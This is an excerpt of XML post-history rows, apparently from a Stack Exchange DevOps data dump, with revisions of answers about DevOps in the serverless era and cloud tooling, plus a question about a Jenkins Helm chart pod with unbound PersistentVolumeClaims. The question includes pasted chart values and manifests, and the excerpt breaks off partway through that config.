  <row Id="19131" PostHistoryTypeId="5" PostId="5961" RevisionGUID="1673ba68-fca0-4780-be59-7c2230c1cbb7" CreationDate="2019-01-12T15:34:02.770" UserId="210" Comment="added 60 characters in body" Text="I have not try it myself yet, but [k8s-deploy][1] looks promising.&#xD;&#xA;&#xD;&#xA;Other potential products that I have not tried yet:&#xD;&#xA;&#xD;&#xA; - https://github.com/argoproj/argo-cd&#xD;&#xA; - https://github.com/hasura/gitkube&#xD;&#xA; - https://github.com/oursky/kubernetes-github-authn&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My aim is to evaluate these tools and I hope that you could try the same and reply to this post. As soon as I find out what tool works nice I will let you know.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Shopify/kubernetes-deploy" ContentLicense="CC BY-SA 4.0" />
  <row Id="19132" PostHistoryTypeId="2" PostId="5962" RevisionGUID="3995c173-1dbf-490f-8020-ad1600474a34" CreationDate="2019-01-12T16:06:13.043" UserId="210" Text="&gt; What is the future of DevOps in the age of serverless? Can you see&#xD;&#xA;&gt; less and less DevOps roles being available in the age of serverless?&#xD;&#xA;&#xD;&#xA;I personally dislike the DevOps Engineer role as DevOps is a culture! What you probably mean is whether Operations or System Engineers will be phased out. Like the other answers indicate, these activities will still be required, but the number of such activities and roles will decrease.&#xD;&#xA;&#xD;&#xA;I personally feel very pressured. I really feel that I personally should run everything in production in cloud and k8s as soon as possible and that is why I try to get productive with for example Spring boot to create business value for the company." ContentLicense="CC BY-SA 4.0" />
  <row Id="19133" PostHistoryTypeId="5" PostId="5924" RevisionGUID="d864db86-3daf-4682-aae7-79165aa54797" CreationDate="2019-01-12T16:09:03.900" UserId="10599" Comment="added 126 characters in body; added 89 characters in body; added 2 characters in body; deleted 1 character in body" Text="**Disclosure**: I work as a devops coach (and player) at a global company with over a thousand developers. &#xA;&#xA;**TL;DR** It depends whether you think devops is a particular set of skills and tools, or whether you think devops is a culture and way of working. It you look at the “what is devops” questions and answers, in one [interesting answer here](https://devops.stackexchange.com/a/2894/10599), they give some insights as to whether it’s just a tick box exercise of using certain sorts of tooling, or more a change in focus, behaviour and responsibilities over the previous ways of developing, releasing and supporting software. Cloud providers can give us better tools but we will still need devops skills to make best use of them. Any set of tools can be used badly and we shouldn’t expect Serverless to be any different.&#xA;&#xA;**Long Answer:** &#xA;&#xA;It’s has often been said in the past “there will be no developers anymore as business people can now buy our tools to design the solution and the tool generates the code”. That will make anyone who has lived through such an implementation flinch or laugh. All that happens is that the tools change but you still have to design, implement, debug and test with the new tools so it’s still &quot;development work”. If the customer of the tools doesn't hire people with the development skills to use the tools they get a giant ball of mud and frustrated end users. &#xA;&#xA;So what I believe that your colleague is thinking is that devops is a current set of skills to setup a current set of tools. Then their argument is that with the serverless movement cloud vendors are setting up ci/cd and all the tools with good defaults that means you don’t need to have expertise in setting up such tooling yourself. &#xA;&#xA;Yet you can still end up with a giant ball of configuration mud and inconsistencies between all your components when you get beyond &quot;hello lambda&quot; and are running a business pumping out features. Continously improving how your product runs, and is monitored, and tested, and patched, and secured while continously expanding and adding new business features requires disapline, skill and hard effort. &#xA;&#xA;I would argue that just like “developers won’t disappear” as the tooling changes with “devops” we will simply see both old and new problems, and see skills and practices adapt and evolve to the new tools. Some problems go away (elasticity, provisioning VMs) but new ones take their place (chaining functions, monitor business KPIs across the distributed application). &#xA;&#xA;By way of an example one form of serverless in the generic sense, which isn’t only functions or lambda, is to define your entire system in git using yaml and have git webhooks sync the configuration into a cloud provider managed Kubernetes to create your running system. You don't use servers you rent cpu and ram quota a managed cluster to host your containers. Then you can automate both creating releases and promoting releases using a slack chatbot. Whether your yaml is chaining together functions, or starting containers in kubernetes, depends on what you need to run. As soon as you get beyond a simple “hello world” webapp you need to define a whole host of yaml and workflow that “run your business” that a cloud provider cannot just gift you. &#xA;&#xA;I think everyone can agree that that work of “just configuring yaml” to deploy multiple APIs and web frontends you can monitor and continously improve is “devops work”. The fact that that tools are cutting edge and can use SaaS based CI/CD, functions, rent cpu and memory quota on a shared kubernetes, use managed cloud database, etc just means it’s devops with new tools not devops with traditional tools.&#xA;&#xA;I am a tech advisor at a startup where that’s exactly what we have setup. We are in the process of open sourcing the scripts that we use as [OCD][1] (our business doesnt use functions yet so currently it's OKD Kubernetes automation). I am migrating the startup to the open source version in the evenings. So during that day I do devops work with traditional tools (Jenkins et al) and in the evenings I do devops work with the very latest tools. Adding a ton of serverless lambda into the things that our startup does won’t suddenly mean that the minimal viable product would magically set itself up. As long we we need to improve our product and deploy new user experiences and configure our use of APIs we will continue to “do devops”. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="19134" PostHistoryTypeId="5" PostId="5962" RevisionGUID="59855b26-05fe-4d55-979c-adab86727737" CreationDate="2019-01-12T16:14:54.317" UserId="210" Comment="added 282 characters in body" Text="&gt; What is the future of DevOps in the age of serverless? Can you see&#xD;&#xA;&gt; less and less DevOps roles being available in the age of serverless?&#xD;&#xA;&#xD;&#xA;I personally dislike the DevOps Engineer role as DevOps is a culture! What you probably mean is whether Operations or System Engineers will be phased out. Like the other answers indicate, these activities will still be required, but the number of such activities and roles will decrease.&#xD;&#xA;&#xD;&#xA;I personally feel very pressured. I really feel that I personally should run everything in production in cloud and k8s as soon as possible and that is why I try to get productive with for example Spring boot to create business value for the company.&#xD;&#xA;&#xD;&#xA;I would argue that every engineer should deploy apps in the cloud automatically and should find a way to create business value for the company by complying to industry standards, e.g. terraform, cloud (aws, gcp, azure), container-orchestration (k8s, swarm), containers (docker or rockit)." ContentLicense="CC BY-SA 4.0" />
  <row Id="19135" PostHistoryTypeId="2" PostId="5963" RevisionGUID="959ca10b-95eb-4e87-a0af-eb15799fea58" CreationDate="2019-01-12T16:18:17.360" UserId="210" Text="I do not run databases in containers as these are hard to scale and the data should be persistent. I use database pools in GCP, AWS and Azure." ContentLicense="CC BY-SA 4.0" />
  <row Id="19136" PostHistoryTypeId="2" PostId="5964" RevisionGUID="48198b03-3160-4302-b253-41fe11a58984" CreationDate="2019-01-12T16:21:43.083" UserId="210" Text="I would suggest to use AWS as this platform is far more mature than DO. You start with one app, but I assume more apps will be deployed. If you deploy and investigate everything yourself it costs also a lot of money. Imagine that you want to deploy a HA postgres cluster in DO, good luck with that. In AWS it is just a matter of a couple of clicks." ContentLicense="CC BY-SA 4.0" />
  <row Id="19137" PostHistoryTypeId="5" PostId="5962" RevisionGUID="a82d8bb3-4cea-4d74-a7d3-86eaf24d7513" CreationDate="2019-01-12T16:27:06.037" UserId="210" Comment="added 26 characters in body" Text="&gt; What is the future of DevOps in the age of serverless? Can you see&#xD;&#xA;&gt; less and less DevOps roles being available in the age of serverless?&#xD;&#xA;&#xD;&#xA;I personally dislike the DevOps Engineer role as DevOps is a culture! What you probably mean is whether Operations or System Engineers will be phased out. Like the other answers indicate, these activities will still be required, but the number of such activities and roles will decrease.&#xD;&#xA;&#xD;&#xA;I personally feel very pressured by the shift to the cloud. Back in the day, I was replacing servers in Datacenter racks, provision them using PXEboot and puppet, monitoring and maintaining them, but now one can just create new servers in the cloud very easily. So basically if I would be stubborn and ignore the cloud I will be substituted out in a couple of years. I really feel that I personally should run everything in production in cloud and k8s as soon as possible and that is why I try to get productive with for example Spring boot to create business value for the company.&#xD;&#xA;&#xD;&#xA;I would argue that every engineer should deploy apps in the cloud automatically and should find a way to create business value for the company by complying to industry standards, e.g. terraform, cloud (aws, gcp, azure), container-orchestration (k8s, swarm), containers (docker or rockit)." ContentLicense="CC BY-SA 4.0" />
  <row Id="19138" PostHistoryTypeId="2" PostId="5965" RevisionGUID="f2921a9c-01a9-4024-8165-d1846996611f" CreationDate="2019-01-12T16:32:35.653" UserId="210" Text="I suggest [terraform][1]. A lot of companies are using it and this tool is basically one of the industry standard. This tool is basically an acronym for infrastructure-as-code.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19139" PostHistoryTypeId="5" PostId="5924" RevisionGUID="83e2a27c-8934-436f-941e-6a78bcbd586e" CreationDate="2019-01-12T16:33:35.223" UserId="10599" Comment="added 554 characters in body" Text="**Disclosure**: I work as a devops coach (and player) at a global company with over a thousand developers. &#xA;&#xA;**TL;DR** It depends whether you think devops is a particular set of skills and tools, or whether you think devops is a culture and way of working. It you look at the “what is devops” questions and answers, in one [interesting answer here](https://devops.stackexchange.com/a/2894/10599), they give some insights as to whether it’s just a tick box exercise of using certain sorts of tooling, or more a change in focus, behaviour and responsibilities over the previous ways of developing, releasing and supporting software. Cloud providers can give us better tools but we will still need devops skills to make best use of them. Any set of tools can be used badly and we shouldn’t expect Serverless to be any different.&#xA;&#xA;**Long Answer:** &#xA;&#xA;It’s has often been said in the past “there will be no developers anymore as business people can now buy our tools to design the solution and the tool generates the code”. That will make anyone who has lived through such an implementation flinch or laugh. All that happens is that the tools change but you still have to design, implement, debug and test with the new tools so it’s still &quot;development work”. If the customer of the tools doesn't hire people with the development skills to use the tools they get a giant ball of mud and frustrated end users. &#xA;&#xA;So what I believe that your colleague is thinking is that devops is a current set of skills to setup a current set of tools. Then their argument is that with the serverless movement cloud vendors are setting up ci/cd and all the tools with good defaults that means you don’t need to have expertise in setting up such tooling yourself. &#xA;&#xA;Yet you can still end up with a giant ball of configuration mud and inconsistencies between all your components when you get beyond &quot;hello lambda&quot; and are running a business pumping out features. Continously improving how your product runs, and is monitored, and tested, and patched, and secured while continously expanding and adding new business features requires disapline, skill and hard effort. &#xA;&#xA;I would argue that just like “developers won’t disappear” as the tooling changes with “devops” we will simply see both old and new problems, and see skills and practices adapt and evolve to the new tools. Some problems go away (elasticity, provisioning VMs) but new ones take their place (chaining functions, monitor business KPIs across the distributed application). &#xA;&#xA;By way of an example one form of serverless in the generic sense, which isn’t only functions or lambda, is to define your entire system in git using yaml and have git webhooks sync the configuration into a cloud provider managed Kubernetes to create your running system. You don't use servers you rent cpu and ram quota a managed cluster to host your containers. Then you can automate both creating releases and promoting releases using a slack chatbot. Whether your yaml is chaining together functions, or starting containers in kubernetes, depends on what you need to run. As soon as you get beyond a simple “hello world” webapp you need to define a whole host of yaml and workflow that “run your business” that a cloud provider cannot just gift you. &#xA;&#xA;I think everyone can agree that that work of “just configuring yaml” to deploy multiple APIs and web frontends you can monitor and continously improve is “devops work”. The fact that that tools are cutting edge and can use SaaS based CI/CD, functions, rent cpu and memory quota on a shared kubernetes, use managed cloud database, etc just means it’s devops with new tools not devops with traditional tools.&#xA;&#xA;I am a tech advisor at a startup where that’s exactly what we have setup. We are in the process of open sourcing the scripts that we use as [OCD][1] (our business doesnt use functions yet so currently it's OKD Kubernetes automation). I am migrating the startup to the open source version in the evenings. So during that day I do devops work with traditional tools (Jenkins et al) and in the evenings I do devops work with the very latest tools. Adding a ton of serverless lambda into the things that our startup does won’t suddenly mean that the minimal viable product would magically set itself up. As long we we need to improve our product and deploy new user experiences and configure our use of APIs we will continue to “do devops”. &#xA;&#xA;**Finally**&#xA;&#xA;I personally don’t believe in “devops teams” or “devops roles”. Devops is a way of working and it’s not working if development teams are not empowered to “design, build, deploy and support” what they make. You might hire people with technical specialists skills such as build automation and agile coaching. The tests of whether it’s “devops” or “ops” is whether they automate things so that teams are empowered and they are no longer needed. A team sitting around clicking a mouse setting up IaaS for developer teams isn’t devops it’s ops. &#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="19140" PostHistoryTypeId="2" PostId="5966" RevisionGUID="9daeaf5b-94dc-4bf9-9bcb-8289f0a35390" CreationDate="2019-01-12T16:36:23.990" UserId="210" Text="One could use helm to install elastic on managed k8s in GCP." ContentLicense="CC BY-SA 4.0" />
  <row Id="19141" PostHistoryTypeId="2" PostId="5967" RevisionGUID="10ae654a-3ec9-4b23-8e9d-24f43bf0d255" CreationDate="2019-01-12T16:41:11.970" UserId="210" Text="Perhaps serverless could substitute it, but it will be hard to predict. I would suggest to follow industry standards and run things using these tools in production to stay up to date. The most changes in all branches occur in IT. Having said this, every engineer has to learn new things everyday to stay up to date. Whether k8s and docker will be replaced? Probably yes, but on the other hand there are still VMs and on-premise hardware. Perhaps k8s and docker will be used less in the future, but when I do not know. I am not a fortune teller with a crystal ball." ContentLicense="CC BY-SA 4.0" />
  <row Id="19142" PostHistoryTypeId="2" PostId="5968" RevisionGUID="5cbe7112-4659-401e-b563-4d446ad9e55f" CreationDate="2019-01-12T16:42:27.813" UserId="210" Text="https://github.com/GoogleContainerTools/kaniko could be used. I have seen it in action, but now implement it myself yet." ContentLicense="CC BY-SA 4.0" />
  <row Id="19143" PostHistoryTypeId="5" PostId="5924" RevisionGUID="71566d5e-d298-43ed-87d5-30926f3db3f8" CreationDate="2019-01-12T16:44:13.900" UserId="10599" Comment="deleted 110 characters in body" Text="**Disclosure**: I work as a devops coach (and player) at a global company with over a thousand developers. &#xA;&#xA;**TL;DR** It depends whether you think devops is a particular set of skills and tools, or whether you think devops is a culture and way of working. It you look at the “what is devops” questions and answers, in one [interesting answer here](https://devops.stackexchange.com/a/2894/10599), they give some insights as to whether it’s just a tick box exercise of using certain sorts of tooling, or more a change in focus, behaviour and responsibilities over the previous ways of developing, releasing and supporting software. Cloud providers can give us better tools but we will still need devops skills to make best use of them. Any set of tools can be used badly and we shouldn’t expect Serverless to be any different.&#xA;&#xA;**Long Answer:** &#xA;&#xA;I think that your colleague is thinking is that devops is a current set of skills to setup a current set of tools. Then their argument is that with the serverless movement cloud vendors are setting up ci/cd and all the tools with good defaults that means you don’t need to have expertise in setting up such tooling yourself. &#xA;&#xA;Yet you can still end up with a giant ball of configuration mud and inconsistencies between all your components when you get beyond &quot;hello lambda&quot; and are running a business pumping out features. Continously improving how your product runs, and is monitored, and tested, and patched, and secured while continously expanding and adding new business features requires discipline, skill and hard effort. &#xA;&#xA;It’s has often been said in the past “there will be no developers anymore as business people can now buy our tools to design the solution and the tool generates the code”. That will make anyone who has lived through such an implementation flinch or laugh. If the customer of the tools doesn't hire people with the development skills to use the tools they get a giant ball of mud and frustrated end users. &#xA;&#xA;I would argue that just like “developers won’t disappear” as the tooling changes with “devops” we will simply see both old and new problems, and see skills and practices adapt and evolve to the new tools. Some problems go away (elasticity, provisioning VMs) but new ones take their place (chaining functions, monitor business KPIs across the distributed application). &#xA;&#xA;By way of an example one form of serverless in the generic sense, which isn’t only functions or lambda, is to define your entire system in git using yaml and have git webhooks sync the configuration into a cloud provider managed Kubernetes to create your running system. You don't use servers you rent cpu and ram quota a managed cluster to host your containers. Then you can automate both creating releases and promoting releases using a slack chatbot. Whether your yaml is chaining together functions, or starting containers in kubernetes, depends on what you need to run. As soon as you get beyond a simple “hello world” webapp you need to define a whole host of yaml and workflow that “run your business” that a cloud provider cannot just gift you. &#xA;&#xA;I think everyone can agree that that work of “just configuring yaml” to deploy multiple APIs and web frontends you can monitor and continously improve is “devops work”. The fact that that tools are cutting edge and can use SaaS based CI/CD, functions, rent cpu and memory quota on a shared kubernetes, use managed cloud database, etc just means it’s devops with new tools not devops with traditional tools.&#xA;&#xA;I am a tech advisor at a startup where that’s exactly what we have setup. We are in the process of open sourcing the scripts that we use as [OCD][1] (our business doesnt use functions yet so currently it's OKD Kubernetes automation). I am migrating the startup to the open source version in the evenings. So during that day I do devops work with traditional tools (Jenkins et al) and in the evenings I do devops work with the very latest tools. Adding a ton of serverless lambda into the things that our startup does won’t suddenly mean that the minimal viable product would magically set itself up. As long we we need to improve our product and deploy new user experiences and configure our use of APIs we will continue to “do devops”. &#xA;&#xA;**Finally**&#xA;&#xA;I personally don’t believe in “devops teams” or “devops roles”. Devops is a way of working and it’s not working if development teams are not empowered to “design, build, deploy and support” what they make. You might hire people with technical specialists skills such as build automation and agile coaching. The tests of whether it’s “devops” or “ops” is whether they automate things so that teams are empowered and made self-sufficient. A “devops” team clicking a mouse setting up IaaS for developer teams isn’t devops it’s ops. When you replace that team with automaton it becomes devops. &#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="19144" PostHistoryTypeId="2" PostId="5969" RevisionGUID="8025a4ec-962c-4d50-99a7-fac9691005df" CreationDate="2019-01-12T16:44:43.453" UserId="210" Text="I am now starting to use the multi-branch pipeline and it looks really promising as it builds every branch that contains changes and a Jenkinsfile.&#xD;&#xA;&#xD;&#xA;https://wiki.jenkins.io/display/JENKINS/Pipeline+Multibranch+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="19145" PostHistoryTypeId="2" PostId="5970" RevisionGUID="9107f223-91f1-4f30-b3fd-94c3becbe746" CreationDate="2019-01-12T17:03:00.123" UserId="11801" Text="I need your help. I try to deploy Jenkins in local Kubernetes cluster with Helm from repo stable/jenkins:lts. But after deployment I get pod which has status &quot;pod has unbound immediate PersistentVolumeClaims&quot;. PVC has status &quot;bound&quot; without any errors. My environment: virtual machine with Linux Ubuntu 18.x where there is installed microk8s. When I deploy I change only node type and persistence size." ContentLicense="CC BY-SA 4.0" />
  <row Id="19146" PostHistoryTypeId="1" PostId="5970" RevisionGUID="9107f223-91f1-4f30-b3fd-94c3becbe746" CreationDate="2019-01-12T17:03:00.123" UserId="11801" Text="Pod's state &quot;pod has unbound immediate PersistentVolumeClaims&quot; when deploy Jenkins with Helm chart" ContentLicense="CC BY-SA 4.0" />
  <row Id="19147" PostHistoryTypeId="3" PostId="5970" RevisionGUID="9107f223-91f1-4f30-b3fd-94c3becbe746" CreationDate="2019-01-12T17:03:00.123" UserId="11801" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;deployment&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19149" PostHistoryTypeId="5" PostId="5970" RevisionGUID="64971c6e-5f78-4d6e-8085-20971c93c1aa" CreationDate="2019-01-12T17:58:25.717" UserId="11801" Comment="added 18420 characters in body" Text="I need your help. I try to deploy Jenkins in local Kubernetes cluster with Helm from repo stable/jenkins:lts. But after deployment I get pod which has status &quot;pod has unbound immediate PersistentVolumeClaims&quot;. PVC has status &quot;bound&quot; without any errors. My environment: virtual machine with Linux Ubuntu 18.x where there is installed microk8s. When I deploy I change only node type and persistence size.&#xD;&#xA;&#xD;&#xA;Helm chart config:&#xD;&#xA;&#xD;&#xA;    NAME:   inclined-eagle&#xD;&#xA;    REVISION: 1&#xD;&#xA;    RELEASED: Fri Jan 11 21:35:47 2019&#xD;&#xA;    CHART: jenkins-0.28.6&#xD;&#xA;    USER-SUPPLIED VALUES:&#xD;&#xA;    Master:&#xD;&#xA;      ServiceType: NodePort&#xD;&#xA;    Persistence:&#xD;&#xA;      Size: 4Gi&#xD;&#xA;    &#xD;&#xA;    COMPUTED VALUES:&#xD;&#xA;    Agent:&#xD;&#xA;      AlwaysPullImage: false&#xD;&#xA;      Component: jenkins-slave&#xD;&#xA;      CustomJenkinsLabels: []&#xD;&#xA;      Enabled: true&#xD;&#xA;      Image: jenkins/jnlp-slave&#xD;&#xA;      ImageTag: 3.27-1&#xD;&#xA;      NodeSelector: {}&#xD;&#xA;      PodRetention: Never&#xD;&#xA;      Privileged: false&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpu: 200m&#xD;&#xA;          memory: 256Mi&#xD;&#xA;        requests:&#xD;&#xA;          cpu: 200m&#xD;&#xA;          memory: 256Mi&#xD;&#xA;      volumes: null&#xD;&#xA;    Master:&#xD;&#xA;      AdditionalConfig: {}&#xD;&#xA;      AdminUser: admin&#xD;&#xA;      CLI: false&#xD;&#xA;      CSRF:&#xD;&#xA;        DefaultCrumbIssuer:&#xD;&#xA;          Enabled: true&#xD;&#xA;          ProxyCompatability: true&#xD;&#xA;      Component: jenkins-master&#xD;&#xA;      CustomConfigMap: false&#xD;&#xA;      DisabledAgentProtocols:&#xD;&#xA;      - JNLP-connect&#xD;&#xA;      - JNLP2-connect&#xD;&#xA;      ExtraPorts: null&#xD;&#xA;      HealthProbeLivenessFailureThreshold: 12&#xD;&#xA;      HealthProbeReadinessPeriodSeconds: 10&#xD;&#xA;      HealthProbes: true&#xD;&#xA;      HealthProbesLivenessTimeout: 90&#xD;&#xA;      HealthProbesReadinessTimeout: 60&#xD;&#xA;      HostNetworking: false&#xD;&#xA;      Image: jenkins/jenkins&#xD;&#xA;      ImagePullPolicy: Always&#xD;&#xA;      ImageTag: lts&#xD;&#xA;      Ingress:&#xD;&#xA;        Annotations: {}&#xD;&#xA;        ApiVersion: extensions/v1beta1&#xD;&#xA;        TLS: null&#xD;&#xA;      InitScripts: null&#xD;&#xA;      InstallPlugins:&#xD;&#xA;      - kubernetes:1.14.0&#xD;&#xA;      - workflow-job:2.31&#xD;&#xA;      - workflow-aggregator:2.6&#xD;&#xA;      - credentials-binding:1.17&#xD;&#xA;      - git:3.9.1&#xD;&#xA;      LoadBalancerSourceRanges:&#xD;&#xA;      - 0.0.0.0/0&#xD;&#xA;      Name: jenkins-master&#xD;&#xA;      NodeSelector: {}&#xD;&#xA;      NumExecutors: 0&#xD;&#xA;      OverwriteConfig: false&#xD;&#xA;      PodAnnotations: {}&#xD;&#xA;      ServiceAnnotations: {}&#xD;&#xA;      ServiceLabels: {}&#xD;&#xA;      ServicePort: 8080&#xD;&#xA;      ServiceType: NodePort&#xD;&#xA;      SlaveListenerPort: 50000&#xD;&#xA;      SlaveListenerServiceAnnotations: {}&#xD;&#xA;      SlaveListenerServiceType: ClusterIP&#xD;&#xA;      Tolerations: {}&#xD;&#xA;      UsePodSecurityContext: true&#xD;&#xA;      UseSecurity: true&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpu: 2000m&#xD;&#xA;          memory: 2048Mi&#xD;&#xA;        requests:&#xD;&#xA;          cpu: 50m&#xD;&#xA;          memory: 256Mi&#xD;&#xA;    NetworkPolicy:&#xD;&#xA;      ApiVersion: networking.k8s.io/v1&#xD;&#xA;      Enabled: false&#xD;&#xA;    Persistence:&#xD;&#xA;      AccessMode: ReadWriteOnce&#xD;&#xA;      Annotations: {}&#xD;&#xA;      Enabled: true&#xD;&#xA;      Size: 4Gi&#xD;&#xA;      mounts: null&#xD;&#xA;      volumes: null&#xD;&#xA;    backup:&#xD;&#xA;      annotations:&#xD;&#xA;        iam.amazonaws.com/role: jenkins&#xD;&#xA;      destination: s3://nuvo-jenkins-data/backup&#xD;&#xA;      enabled: false&#xD;&#xA;      env:&#xD;&#xA;      - name: AWS_REGION&#xD;&#xA;        value: us-east-1&#xD;&#xA;      extraArgs: []&#xD;&#xA;      image:&#xD;&#xA;        repository: nuvo/kube-tasks&#xD;&#xA;        tag: 0.1.2&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpu: 1&#xD;&#xA;          memory: 1Gi&#xD;&#xA;        requests:&#xD;&#xA;          cpu: 1&#xD;&#xA;          memory: 1Gi&#xD;&#xA;      schedule: 0 2 * * *&#xD;&#xA;    rbac:&#xD;&#xA;      install: false&#xD;&#xA;      roleBindingKind: ClusterRoleBinding&#xD;&#xA;      roleKind: ClusterRole&#xD;&#xA;      roleRef: cluster-admin&#xD;&#xA;      serviceAccountName: default&#xD;&#xA;    &#xD;&#xA;    HOOKS:&#xD;&#xA;    ---&#xD;&#xA;    # inclined-eagle-ui-test-1mhfp&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      name: &quot;inclined-eagle-ui-test-1mhfp&quot;&#xD;&#xA;      annotations:&#xD;&#xA;        &quot;helm.sh/hook&quot;: test-success&#xD;&#xA;    spec:&#xD;&#xA;      initContainers:&#xD;&#xA;        - name: &quot;test-framework&quot;&#xD;&#xA;          image: &quot;dduportal/bats:0.4.0&quot;&#xD;&#xA;          command:&#xD;&#xA;          - &quot;bash&quot;&#xD;&#xA;          - &quot;-c&quot;&#xD;&#xA;          - |&#xD;&#xA;            set -ex&#xD;&#xA;            # copy bats to tools dir&#xD;&#xA;            cp -R /usr/local/libexec/ /tools/bats/&#xD;&#xA;          volumeMounts:&#xD;&#xA;          - mountPath: /tools&#xD;&#xA;            name: tools&#xD;&#xA;      containers:&#xD;&#xA;        - name: inclined-eagle-ui-test&#xD;&#xA;          image: jenkins/jenkins:lts&#xD;&#xA;          command: [&quot;/tools/bats/bats&quot;, &quot;-t&quot;, &quot;/tests/run.sh&quot;]&#xD;&#xA;          volumeMounts:&#xD;&#xA;          - mountPath: /tests&#xD;&#xA;            name: tests&#xD;&#xA;            readOnly: true&#xD;&#xA;          - mountPath: /tools&#xD;&#xA;            name: tools&#xD;&#xA;      volumes:&#xD;&#xA;      - name: tests&#xD;&#xA;        configMap:&#xD;&#xA;          name: inclined-eagle-jenkins-tests&#xD;&#xA;      - name: tools&#xD;&#xA;        emptyDir: {}&#xD;&#xA;      restartPolicy: Never&#xD;&#xA;    MANIFEST:&#xD;&#xA;    &#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/secret.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Secret&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;    type: Opaque&#xD;&#xA;    data:&#xD;&#xA;      &#xD;&#xA;      jenkins-admin-password: &quot;enkyZlZqdVdqMw==&quot;&#xD;&#xA;      &#xD;&#xA;      jenkins-admin-user: &quot;YWRtaW4=&quot;&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/config.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;    data:&#xD;&#xA;      config.xml: |-&#xD;&#xA;        &lt;?xml version='1.0' encoding='UTF-8'?&gt;&#xD;&#xA;        &lt;hudson&gt;&#xD;&#xA;          &lt;disabledAdministrativeMonitors/&gt;&#xD;&#xA;          &lt;version&gt;lts&lt;/version&gt;&#xD;&#xA;          &lt;numExecutors&gt;0&lt;/numExecutors&gt;&#xD;&#xA;          &lt;mode&gt;NORMAL&lt;/mode&gt;&#xD;&#xA;          &lt;useSecurity&gt;true&lt;/useSecurity&gt;&#xD;&#xA;          &lt;authorizationStrategy class=&quot;hudson.security.FullControlOnceLoggedInAuthorizationStrategy&quot;&gt;&#xD;&#xA;            &lt;denyAnonymousReadAccess&gt;true&lt;/denyAnonymousReadAccess&gt;&#xD;&#xA;          &lt;/authorizationStrategy&gt;&#xD;&#xA;          &lt;securityRealm class=&quot;hudson.security.LegacySecurityRealm&quot;/&gt;&#xD;&#xA;          &lt;disableRememberMe&gt;false&lt;/disableRememberMe&gt;&#xD;&#xA;          &lt;projectNamingStrategy class=&quot;jenkins.model.ProjectNamingStrategy$DefaultProjectNamingStrategy&quot;/&gt;&#xD;&#xA;          &lt;workspaceDir&gt;${JENKINS_HOME}/workspace/${ITEM_FULLNAME}&lt;/workspaceDir&gt;&#xD;&#xA;          &lt;buildsDir&gt;${ITEM_ROOTDIR}/builds&lt;/buildsDir&gt;&#xD;&#xA;          &lt;markupFormatter class=&quot;hudson.markup.EscapedMarkupFormatter&quot;/&gt;&#xD;&#xA;          &lt;jdks/&gt;&#xD;&#xA;          &lt;viewsTabBar class=&quot;hudson.views.DefaultViewsTabBar&quot;/&gt;&#xD;&#xA;          &lt;myViewsTabBar class=&quot;hudson.views.DefaultMyViewsTabBar&quot;/&gt;&#xD;&#xA;          &lt;clouds&gt;&#xD;&#xA;            &lt;org.csanchez.jenkins.plugins.kubernetes.KubernetesCloud plugin=&quot;kubernetes@1.14.0&quot;&gt;&#xD;&#xA;              &lt;name&gt;kubernetes&lt;/name&gt;&#xD;&#xA;              &lt;templates&gt;&#xD;&#xA;                &lt;org.csanchez.jenkins.plugins.kubernetes.PodTemplate&gt;&#xD;&#xA;                  &lt;inheritFrom&gt;&lt;/inheritFrom&gt;&#xD;&#xA;                  &lt;name&gt;default&lt;/name&gt;&#xD;&#xA;                  &lt;instanceCap&gt;2147483647&lt;/instanceCap&gt;&#xD;&#xA;                  &lt;idleMinutes&gt;0&lt;/idleMinutes&gt;&#xD;&#xA;                  &lt;label&gt;inclined-eagle-jenkins-slave &lt;/label&gt;&#xD;&#xA;                  &lt;nodeSelector&gt;&lt;/nodeSelector&gt;&#xD;&#xA;                    &lt;nodeUsageMode&gt;NORMAL&lt;/nodeUsageMode&gt;&#xD;&#xA;                  &lt;volumes&gt;&#xD;&#xA;                  &lt;/volumes&gt;&#xD;&#xA;                  &lt;containers&gt;&#xD;&#xA;                    &lt;org.csanchez.jenkins.plugins.kubernetes.ContainerTemplate&gt;&#xD;&#xA;                      &lt;name&gt;jnlp&lt;/name&gt;&#xD;&#xA;                      &lt;image&gt;jenkins/jnlp-slave:3.27-1&lt;/image&gt;&#xD;&#xA;                      &lt;privileged&gt;false&lt;/privileged&gt;&#xD;&#xA;                      &lt;alwaysPullImage&gt;false&lt;/alwaysPullImage&gt;&#xD;&#xA;                      &lt;workingDir&gt;/home/jenkins&lt;/workingDir&gt;&#xD;&#xA;                      &lt;command&gt;&lt;/command&gt;&#xD;&#xA;                      &lt;args&gt;${computer.jnlpmac} ${computer.name}&lt;/args&gt;&#xD;&#xA;                      